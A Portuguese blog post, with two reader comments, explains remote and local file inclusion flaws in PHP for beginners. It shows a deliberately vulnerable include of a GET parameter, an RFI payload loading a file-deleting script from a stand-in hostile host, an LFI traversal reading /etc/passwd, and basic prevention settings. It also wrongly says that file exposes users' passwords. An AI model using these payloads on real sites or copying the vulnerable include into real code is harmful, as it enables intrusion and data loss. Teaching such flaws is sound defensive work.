Segurança: O que é RFI / LFI?

[wp_ad_camp_3]

RFI/LFI, do inglês (Remote/Local File Include) é um tipo de vulnerabilidade de segurança para páginas na internet. Essa vulnerabilidade pode ser usada para explorar, interromper e até obter dados usando um serviço na internet, uma vez que o mesmo interprete a inclusão do código a partir de uma informação enviada pelo cliente diretamente para a aplicação.

O Ataque!

[wp_ad_camp_1]

O ataque ocorre quando o desenvolvedor faz a inclusão de arquivos, baseado em entradas dos usuários. Vamos colocar como exemplo, um formulário para selecionar o idioma de uma página:

pagina.php

<?php
   if(isset($_GET['idioma'))
        require_once($_GET['idioma']);
?>


<form method="GET">
     <select name="idioma">
          <option value="portugues.php">Português</option>
          <option value="ingles.php">Inglês</option>
     </select>
</form>

Agora o php inclui um arquivo baseado na entrada do usuário, vamos ver alguns exemplos de entradas que poderiam causar dor de cabeça:

 

Exemplo de RFI (chamando um arquivo remoto…)

pagina.php?idioma=http://malvado.exemplo.com.br/script-php-do-mal.txt?. Agora imagine que o script-php-do-mal.txt contenha o seguinte conteúdo “@unlink(__DIR__ . ‘/pagina.php’);” pronto você acaba de perder seu script!

Exemplo de LFI (Chamando um arquivo local…)

pagina.php?idioma=../../../../../etc/passwd%00?. Você acaba de listar a senha de seus usuários UNIX online!

 

Observação: Os exemplos acima são muitos comuns, e muitos provedores de hospedagem bloqueiam o acesso aos arquivos/url externas como citados nos exemplos. Os exemplos citados foram usados somente para mostrar possibilidades para exploração das falhas.

Como se prevenir:

[wp_ad_camp_2]

Caso você não seja o desenvolvedor e queira fazer uma precaução via servidor, você pode estar trabalhando com as configurações do PHP (ou do interpretador/linguagem que estiver usando), para isso desabilite a inclusão de URL’s no seu php.ini, para isso basta modificar o valor de allow_url_include para Off. No caso de LFI, o correto é o tratamento no próprio script (não fazendo uso de inclusões baseadas em informações de usuários), mas você pode se prevenir fazendo bom uso dos direitos que o próprio sistema operacional lhe oferece.

Obrigado!

Espero que com esse POST eu tenha contribuído para que vocês melhorem a segurança em suas aplicações.

Comments

  1. Gustavo

    Paragons pelo artigo, difícil alguém dar um require_once(). numa requisição GET ou POST. Contra as boas práticas, né mas não duvido de programador inexperiente!

    1. Post
      Author
      Hiago Souza

      Então Gustavo o problema é justamente os inexperientes, assim como muitos post’s que escrevo (exemplo sql injection)… é algo difícil de ocorrer pois os próprios hosts, webservers já protegem a galera. Mas ainda sim, tem aquela turma que não sabe nem que existe as boas práticas e esse post tem por objetivo essa turminha. Que bom que gostou 😉

Deixe um comentário

O seu endereço de e-mail não será publicado. Campos obrigatórios são marcados com *